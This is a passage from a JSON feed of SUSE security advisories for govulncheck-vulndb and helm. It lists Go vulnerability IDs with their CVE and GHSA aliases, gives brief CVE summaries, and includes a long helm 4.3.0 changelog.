GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:09.233788558Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23227-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:10.174179412Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23973-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE\n (bsc#1265758).\n- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin\n (bsc#1261939).\n- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin\n provenance verification (bsc#1261935).\n- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart\n (bsc#1261938).\n- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length\n headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).\n- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled\n configuration (bsc#1265428).\n- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to\n exfiltrate credentials and refresh tokens (bsc#1270127).\n- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).\n- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).\n- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).\n- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).\n- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).\n- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).\n- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).\n- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).\n- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass\n allows log telemetry interception and alteration (bsc#1281468).\n- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission\n (bsc#1281469).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n probing (bsc#1281112).\n- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation\n (bsc#1276514).\n","status":"published","published":"2026-09-30T17:49:13Z","modified":"2026-10-06T17:23:08.92538367Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23984-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE\n (bsc#1265758).\n- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin\n (bsc#1261939).\n- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin\n provenance verification (bsc#1261935).\n- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart\n (bsc#1261938).\n- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length\n headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).\n- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled\n configuration (bsc#1265428).\n- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to\n exfiltrate credentials and refresh tokens (bsc#1270127).\n- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).\n- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).\n- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).\n- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).\n- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).\n- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).\n- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).\n- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).\n- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass\n allows log telemetry interception and alteration (bsc#1281468).\n- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission\n (bsc#1281469).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n probing (bsc#1281112).\n- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation\n (bsc#1276514).\n","status":"published","published":"2026-09-30T17:49:13Z","modified":"2026-10-06T17:23:09.062210416Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:24282-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE\n (bsc#1265758).\n- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin\n (bsc#1261939).\n- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin\n provenance verification (bsc#1261935).\n- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart\n (bsc#1261938).\n- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length\n headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).\n- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled\n configuration (bsc#1265428).\n- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to\n exfiltrate credentials and refresh tokens (bsc#1270127).\n- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).\n- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).\n- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).\n- CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the\n crypto/ssh library (bsc#1281426).\n- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).\n- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).\n- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass\n repeat index validation and cause a process crash (bsc#1283642).\n- CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).\n- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass\n allows log telemetry interception and alteration (bsc#1281468).\n- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission\n (bsc#1281469).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n probing (bsc#1281112).\n- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation\n (bsc#1276514).\n\nChanges for helm:\n\n- update to 4.3.0:\n * feat: Add duration functions\n * feat(engine): add debug logging when lookup returns empty\n * feat: add ownership verification before deleting resources\n * feat: honor SOURCE_DATE_EPOCH for chart archives\n * feat(rollback): add --description flag to provide rollback\n reason\n * fix (internal/plugin): remove zero-width spaces from plugin\n name comment\n * fix(loader): do not drop values files ending at a 4096-byte\n boundary\n * fix(chart): normalize StampModTimes timestamp to UTC/truncate\n + Chart.lock reproducibility test\n * fix(provenance): support GnuPG keybox (pubring.kbx) keyrings\n * fix(template): regression - route registry messages to stderr\n in template and show\n * refactor: lower resync period from one hour to 3 minutes\n * perf: enable concurrent status computation to prevent\n multi-minute delays\n * fix: Improve error reporting for helm template --debug with\n --show-only- #31185\n * fix: fetch logs from all containers in test pods- #32099\n * fix(provenance): check error return in Digest and\n encodeRelease- #32136\n * fix panic on repeated IsReachable calls- #32184\n * fix: set [pull,push] scope when helm push to a registry(use\n token auth) - v4- #31211\n * Fix missing conflict retry with server-side apply- #32088\n * Properly format the extra field in gzipped packages- #31884\n * Fix vanishing empty lines- #32327\n * fix: pass registry client to downloader.Manager in upgrade-\n #32400\n * chore(deps): bump google.golang.org/grpc from 1.80.0 to 1.82.1-\n #32450\n * fix: bump go.opentelemetry.io/otel to v1.44.0 for GO-2026-5158-\n #32521\n * chore(deps): bump golang.org/x/crypto from 0.53.0 to 0.54.0\n 43e8b7f (Terry Howe)\n * bump golang.org/x/text to v.0.40.0\n * Revert: Fixed a race condition in WaitForDelete where the status\n observer canceled the watch too early, causing intermittent\n failures when running a full test suite #32214\n * Fixed data race detected by -race flag when concurrent\n goroutines (upgrade + rollback, install + uninstall) both call\n GetWaiterWithOptions on the same FailingKubeClient instance\n #31925\n * Fixed helm command success messages writing to stderr instead\n of stdout. Now correctly outputing to stdout #32056\n * Fixed Helm 4 emitting \"unable to find exact version\" when using\n version range constraints #31757\n * Fixed a race condition in WaitForDelete where the status\n failures when running a full test suite #32081\n #32153\n * Fixed SDK errors by upgrading dependencies: cli-utils 1.2.1,\n controller-runtime 0.24.1 and k8s 1.36.1 #32128\n * Dependency updates\n * Bump to version v4.2 0646808 (George Jenkins)\n * build: Clean up Goreleaser change (#32098) e23bf3a (Scott\n Rigby)\n * fix: add -extldflags -static to dist target to match\n build-cross f60ab7c (Terry Howe)\n * build: use goreleaser build with manual archive creation\n 64aa46f (Terry Howe)\n * chore: remove build-cross dependency from test-acceptance\n d199a1a (Terry Howe)\n * ci: add fetch-depth 0 to canary checkout for goreleaser 8289940\n * fix: address goreleaser build issues flagged in review c075022\n (Terry Howe)\n * fix: pass VERSION as GORELEASER_CURRENT_TAG to preserve\n v-prefix in archive names 04885dd (Terry Howe)\n * fix: disable goreleaser checksums.txt and restrict zip to\n windows only 93103ce (Terry Howe)\n * fix: use index for optional env var in version_template e49a1dc\n * fix: canary build file names eaa0910 (Terry Howe)\n * Fix archive name 5a75279 (Terry Howe)\n * fix goreleaser archive 37284a9 (Terry Howe)\n * add support for loong64 45336cc (Terry Howe)\n * fix artifact directory a9659b0 (Terry Howe)\n * update configuration to v2 e368f17 (Terry Howe)\n * remove GOTOOLCHAIN e7bea85 (Terry Howe)\n * chore: replace mitchellh/gox with goreleaser 075c096 (Terry\n Howe)\n * chore(deps): bump github.com/distribution/distribution/v3\n 12f2c41 (dependabot[bot])\n * chore(deps): bump github/codeql-action from 4.35.2 to 4.35.3\n 58e8ffd (dependabot[bot])\n * chore(deps): bump github.com/Masterminds/semver/v3 from 3.4.0\n to 3.5.0 e61bbfb (dependabot[bot])\n * Upgrade kstatus to 1.2 and controller-runtime to 0.24 081c6df\n (Matheus Pimenta)\n * fix: adds topLevel permissions to improve openSSF scores\n 277d970 (Gagan H R)\n * Upgrade Go to 1.26, Kubernetes to 1.36, kstatus to 1.1 a4a9cc7\n * fix(templating): hooks conflicting with templates in\n post-renderers (#32049) 8f56f24 (Matheus Pimenta)\n * docs: fix grammar and spacing in CONTRIBUTING.md db40adb\n (Mohit)\n * chore(deps): bump the k8s-io group with 7 updates 775e794\n (dependabot[bot])\n * chore(deps): bump github/codeql-action from 4.35.1 to 4.35.2\n 934ace3 (dependabot[bot])\n * fix(templating): SplitManifests must preserve line endings for\n downstream YAML parsers (#31952) 265c5eb (Matheus Pimenta)\n * chore(deps): bump github.com/mattn/go-shellwords from 1.0.12 to\n 1.0.13 48e2b7d (dependabot[bot])\n * Update pkg/chart/common/util/coalesce.go a8e2497 (Evans Mungai)\n * test(values): Add test for nil cleanup in partially overridden\n subchart maps 52fc971 (Johannes Lohmer)\n * fix(values): do not copy chart-default nils into coalesced\n values 0063877 (Johannes Lohmer)\n * test(values): add test for subchart nil producing %!s() 6eb4ebf\n (Johannes Lohmer)\n * test(values): add tests for subchart nil value regressions\n 5cb4e7d (Johannes Lohmer)\n * chore(deps): bump actions/upload-artifact from 7.0.0 to 7.0.1\n b5c7c80 (dependabot[bot])\n * fix(templating): fix wrong YAML separator parsing for\n post-renderers (#31941) a27f1ad (Matheus Pimenta)\n * fix: add debug logging to HTTP getter for helm pull c26be60\n (Cairon)\n * chore(deps): bump golang.org/x/crypto from 0.49.0 to 0.50.0\n 953f5f0 (dependabot[bot])\n * chore(deps): bump golang.org/x/term from 0.41.0 to 0.42.0\n 10fc5f3 (dependabot[bot])\n * chore(deps): bump golang.org/x/text from 0.35.0 to 0.36.0\n d89e7c6 (dependabot[bot])\n * chore: Update release notes script for Helm v4 8a95461 (George\n Jenkins)\n * refactor(cli): share RetryingRoundTripper via pkg/kubeenv\n 213c869 (Sumit Solanki)\n * chore(deps): bump github.com/lib/pq from 1.12.2 to 1.12.3\n bd5027a (dependabot[bot])\n * fix: unnecessary-format lint issues from merge 087736b (George\n * fix: Plugin missing provenance bypass 586eb57 (George Jenkins)\n * chore(deps): bump github.com/fluxcd/cli-utils c8c5dfa\n * chore(deps): bump\n go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp\n 998466c (dependabot[bot])\n go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp\n b0cec58 (dependabot[bot])\n go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp\n 6ebfb29 (dependabot[bot])\n * test(kube): fix flaky WaitForDelete test by avoiding informer\n sync race a7f8443 (Terry Howe)\n * test(kube): fix flaky WaitForDelete timing in status wait tests\n 4c0d21f (Terry Howe)\n 08dea9c (dependabot[bot])\n * Minor nit: fix import instructions to comply with canonical\n import paths de58531 (Anmol Virdi)\n 9b1ad4c (dependabot[bot])\n * fix(action): return correct error variable in prepareUpgrade\n 8ef2d45 (Rhys McNeill)\n * chore(deps): bump github.com/lib/pq from 1.12.1 to 1.12.2\n cd7cf76 (dependabot[bot])\n * chore(deps): bump github/codeql-action from 4.30.7 to 4.35.1\n 45ee55b (dependabot[bot])\n * chore(deps): bump github.com/lib/pq from 1.12.0 to 1.12.1\n 9a06741 (dependabot[bot])\n * chore(deps): bump actions/setup-go from 6.2.0 to 6.4.0 d1e31ca\n * fix(kube): clarify server-side apply patch errors f257c95\n (abhay1999)\n workflow 7025480 (Terry Howe)\n * refactor(cli): decouple EnvSettings from pkg/kube 64f1d0a\n (Sumit Solanki)\n * docs(registry): fix incorrect and improve clarity of comments\n in client.go 85bf56e (Debasish Mohanty)\n * refactor(cli): decouple EnvSettings from pkg/kube to avoid\n import cycles 1549937 (Sumit Solanki)\n * chore(deps): bump github.com/ProtonMail/go-crypto from 1.3.0 to\n 1.4.1 c7a75b1 (dependabot[bot])\n * chore(deps): bump github.com/lib/pq from 1.11.2 to 1.12.0\n 3a7573a (dependabot[bot])\n * chore(deps): bump github.com/fatih/color from 1.18.0 to 1.19.0\n 0229da1 (dependabot[bot])\n * docs(engine): fix misleading toTOML doc comment c1a5a6e (Ilya\n Kiselev)\n * feat(engine): add mustToToml template function b075f7a (Ilya\n * chore: fix unnecessary-format issues from revive 7edfff3\n (Matthieu MOREL)\n * chore(deps): bump google.golang.org/grpc from 1.78.0 to 1.79.3\n 37185d2 (dependabot[bot])\n * chore: fix bool-compare issues from testifylint 071558d\n * chore: enable perfsprint linter 6249489 (Matthieu MOREL)\n * ignore error plugin loads (cli, getter) 47a0840 (George\n * chore(deps): bump golang.org/x/crypto from 0.48.0 to 0.49.0\n 3d06fd1 (dependabot[bot])\n * fix(kube): remove legacy import comments from test files\n e64d628 (Terry Howe)\n * pkg/kube: remove legacy import comments d7cdc9e (abhay1999)\n * fix: Plugin version path traversal 36dcc27 (George Jenkins)\n * chore(deps): bump golang.org/x/term from 0.40.0 to 0.41.0\n c4be7af (dependabot[bot])\n * chore: fix some minor issues in the comments 259f181 (tsinglua)\n * fix: Chart dot-name path bug 6018499 (George Jenkins)\n * chore(deps): bump sigs.k8s.io/controller-runtime from 0.23.1 to\n 0.23.3 74e7cf8 (dependabot[bot])\n * fix: insert newline after doc separators glued to content by\n template trimming af94abf (Matheus Pimenta)\n * chore(deps): bump github.com/cloudflare/circl from 1.6.1 to\n 1.6.3 16073b1 (dependabot[bot])\n * chore: enable modernize linter (#31860) e31a078 (Matthieu\n MOREL)\n * Restored --atomic flag on install command 16573f8 (Travis\n Leeden)\n * fix: bump go.opentelemetry.io/otel/sdk to v1.40.0 for\n GO-2026-4394 b550ce9 (Terry Howe)\n * fix: bump fluxcd/cli-utils to v0.37.2-flux.1 1dfa77e (Terry\n * Update pkg/cmd/status.go 5d40f17 (Matthieu MOREL)\n * chore(internal): enable perfsprint linter (#31871) d4f6193\n * chore(deps): bump actions/upload-artifact from 6.0.0 to 7.0.0\n 82d9bed (dependabot[bot])\n * chore(pkg): fix perfsprint linter issues part 6 dc0e3f1\n * chore(pkg): enable perfsprint linter e3c74fd (Matthieu MOREL)\n * chore(pkg): enable perfsprint linter 1d2d63c (Matthieu MOREL)\n * chore(pkg): enable perfsprint linter 63f03c0 (Matthieu MOREL)\n * chore(pkg): enable perfsprint linter c25c988 (Matthieu MOREL)\n * chore(pkg): enable perfsprint linter 0fecfd0 (Matthieu MOREL)\n * chore(internal): enable perfsprint linter 6524162 (Matthieu\n * chore(pkg): enable perfsprint linter 6c2cb2f (Matthieu MOREL)\n * chore(internal): enable perfsprint linter 9409226 (Matthieu\n * Replace unneeded use of t.Fatalf with t.Fatal 36cb3a2 (Mads\n Jensen)\n * fix: enable nolinlint linter 5b6c6bb (Matthieu MOREL)\n * fixup strings.Cut variables b667317 (George Jenkins)\n * chore: Improve AGENTS.md 956c724 (George Jenkins)\n * chore: fixes 92b64e8 (George Jenkins)\n * fix: correct import comment in statuswait.go from v3 to v4\n c59c140 (rohansood10)\n * fix: handle OCI digest algorithm prefix in chart downloader\n (#31601) ee01860 (Evans Mungai)\n * chore(deps): bump actions/stale from 10.1.1 to 10.2.0 304d25f\n * chore(deps): bump the k8s-io group with 7 updates 0b13436\n * feat(release): add internal/release/v2 package for chart v3\n support (#31709) 4a91f3a (Evans 